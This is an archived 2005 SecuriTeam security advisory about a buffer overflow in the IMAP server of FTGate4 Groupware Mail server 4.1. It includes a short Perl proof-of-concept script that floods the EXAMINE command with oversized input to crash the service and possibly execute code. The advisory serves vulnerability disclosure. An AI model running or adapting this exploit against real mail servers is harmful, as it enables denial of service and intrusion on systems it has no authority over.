

[NT] FTGate4 Groupware Mail server Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0081.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 11/21/05

To: list@securiteam.com

Date: 21 Nov 2005 17:07:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

FTGate4 Groupware Mail server Buffer Overflow (Exploit)

SUMMARY

FTGate4 is a powerful Windows(TM) communication suite that combines exceptional mail handling facilities with comprehensive Groupware functionality.

FTGate4 contains a security flaw in the IMAP server caused due to boundary errors in the handling of various commands (like EXAMINE).

DETAILS

Vulnerable Systems:

* FTGate4 Groupware Mail server version 4.1

An attacker could exploit the vulnerability by sending a malformed request to the IMAP server running on port 143, resulting in a Denial of Service condition and potentially arbitrary code execution with the privileges of the SYSTEM user.

Proof of concept:

```
#!/usr/bin/perl
```

Securiteam: [NT] FTGate4 Groupware Mail server Buffer Overflow (Exploit)

```
use IO::Socket;

print "\nFTGate Imapd BufferOverrun\nLuca Ercoli io\@lucaercoli.it\n";
print "http://www.lucaercoli.it\n\n";

$host = "localhost";

$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "143",
);

unless ($remote) { die "Can't connect to $host" }

print "[!] Connected\n";
print "[?] Exploiting...\n";

sleep(1);

my $imapd = join ("", "1 login user pass", "\r\n");

print $remote $imapd;

sleep(1);
my $imapd = join ("", "1 EXAMINE ", "B"x(224), "\r\n");
print $remote $imapd;
sleep(1);
my $imapd = join ("", "C"x(11305), "\r\n");
print $remote $imapd;

print "\n[!] Done\n\n";

close $remote;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:io@lucaercoli.il>> Luca Ercoli.

The original articles can be found at:

<<http://www.lucaercoli.it/advs/FTGate4.txt>>
<http://www.lucaercoli.it/advs/FTGate4.txt>
<<http://www.lucaercoli.it/exploits/FTGate-expl.pl>>
<http://www.lucaercoli.it/exploits/FTGate-expl.pl>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [NT] FTGate4 Groupware Mail server Buffer Overflow (Exploit)

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.